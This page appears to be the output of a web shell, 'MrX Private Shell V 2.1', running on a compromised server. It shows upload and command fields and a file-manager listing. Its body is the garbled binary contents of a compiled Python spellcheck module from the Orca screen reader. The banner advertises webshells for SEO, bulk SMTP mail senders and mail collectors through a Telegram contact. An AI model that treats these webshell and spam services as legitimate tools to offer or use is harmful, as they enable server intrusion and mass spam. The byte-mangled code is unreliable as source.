__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

���g����SrSrSrSrSrSrSSKJr SSKJr SS	KJ	r	 SS
K
Jr SSKJ
r
 SSKJr "S
S\	R 5rg)�1Customized support for spellcheck in LibreOffice.z$Id$z
$Revision$z$Date$zCopyright (c) 2015 Igalia, S.L.�LGPL�)�debug)�messages)�
spellcheck)�AXObject)�AXText)�AXUtilitiesc�J^�\rSrSrSrU4SjrSrSrSrSr	Sr
S	rU=r$)
�
SpellCheck�%rc�0>�[TU]USS9 0Ulg)NF)�has_change_to_entry)�super�__init__�_windows)�self�script�	__class__s  ��F/usr/lib/python3/dist-packages/orca/scripts/apps/soffice/spellcheck.pyr�SpellCheck.__init__(s���
����U��;���
�c��Ucg[R"U5(aU$UR[R"US55$)Nr)r
�	is_dialog�_find_child_dialogr�	get_child)r�roots  rr�SpellCheck._find_child_dialog,s>���<��� � ��&�&��K��&�&�x�'9�'9�$��'B�C�Crc���[R"U5(a,SUS/n[R"[RUS5 gUR
R
[U55nUb.SUSU/n[R"[RUS5 U$URU5nU(dDSUR
[U5'SUS/n[R"[RUS5 g[R"U[R5b\SUR
[U5'SUR
[U5'SUS/n[R"[RUS5 g[R"U[R5SLnSUSU/n[R"[RUS5 X0R
[U5'U$)	NzSOFFICE SPELL CHECK:z+is not spellcheck window because it's dead.TFzis spellcheck window:z:is not spellcheck window because the dialog was not found.z;is not spellcheck dialog because a page tab list was found.z2is spellcheck dialog based on combobox descendant:)
r�is_deadr�print_tokens�
LEVEL_INFOr�get�hashr�find_descendantr
�is_page_tab_list�is_combo_box)r�window�tokens�rv�dialogs     r�_is_candidate_window�SpellCheck._is_candidate_window5s������F�#�#�,�f�6c�d�F����u�/�/���>��
�]�]�
�
�t�F�|�
,��
�>�,�f�6M�r�R�F����u�/�/���>��I��(�(��0���*/�D�M�M�$�v�,�'�,�f�R�T�F����u�/�/���>���#�#�F�K�,H�,H�I�U�*/�D�M�M�$�v�,�'�*/�D�M�M�$�v�,�'�,�f�S�U�F����u�/�/���>��
�
%�
%�f�k�.F�.F�
G�t�
S��(�&�F��L��
���5�+�+�V�T�:�&(�
�
�d�6�l�#��	rc�t�[R"U5nUR5RS5(a0SUSUS3/n[R
"[RUS5 g[R"U5(dg[R"U5=(a [R"U5$)N�errorzSPELL CHECK:z
with id: 'z' is the error widgetTF)r�get_accessible_id�lower�
startswithrr!r"�supports_editable_textr
�is_focusable�
is_multi_line)r�obj�obj_idr)s    r�_is_error_widget�SpellCheck._is_error_widgetXs����+�+�C�0���<�<�>�$�$�W�-�-�$�c�Z��x�?T�+U�V�F����u�/�/���>���.�.�s�3�3���'�'��,�O��1J�1J�3�1O�Orc��[R"UR5nSup#SUs=::aU:a�O U$[R"URU5upEnUR	SS5RSS5S:Xa![R"URXV5$[XbS-5nSUs=::a
U:aM�U$ U$)N)r�rzfg-colorr;� z255,0,0�)r	�get_character_count�
_error_widget�get_text_attributes_at_offsetr#�replace�
get_substring�max)r�length�offset�string�attrs�start�ends       r�get_misspelled_word�SpellCheck.get_misspelled_wordcs����+�+�D�,>�,>�?������6�"�F�"��
�!'� D� D�T�EW�EW�Y_� `��E�#��y�y��R�(�0�0��b�9�Y�F��+�+�D�,>�,>��K�K���q�j�)�F�	�6�"�F�"��
�
#��
rc��UR5(dg[R"UR5nU(dg[R
U-nURRRUS9nURRX#S9 g)NF)rF)�voiceT)
�	is_activer	�get_all_textr?r�MISSPELLED_WORD_CONTEXT�_script�speech_generatorrM�speakMessage)rrF�msgrMs    r�present_context�SpellCheck.present_contextnss���~�~�����$�$�T�%7�%7�8�����.�.��7�����-�-�3�3�3�3�?�����!�!�#�!�3�r)r)
�__name__�
__module__�__qualname__�__firstlineno__�__doc__rrr,r8rJrU�__static_attributes__�
__classcell__)rs@rrr%s,���;��D�!�F	P�	��rrN)r[�__id__�__version__�__date__�
__copyright__�__license__�orcarrr�orca.ax_objectr�orca.ax_textr	�orca.ax_utilitiesr
r�rr�<module>rhsI��,8�	������1�
������#��)�T��&�&�Tr

Filemanager

Name Type Size Permission Actions
__init__.cpython-313.pyc File 255 B 0644
braille_generator.cpython-313.pyc File 3.5 KB 0644
script.cpython-313.pyc File 29.55 KB 0644
script_utilities.cpython-313.pyc File 14.98 KB 0644
speech_generator.cpython-313.pyc File 9.98 KB 0644
spellcheck.cpython-313.pyc File 5.83 KB 0644
Filemanager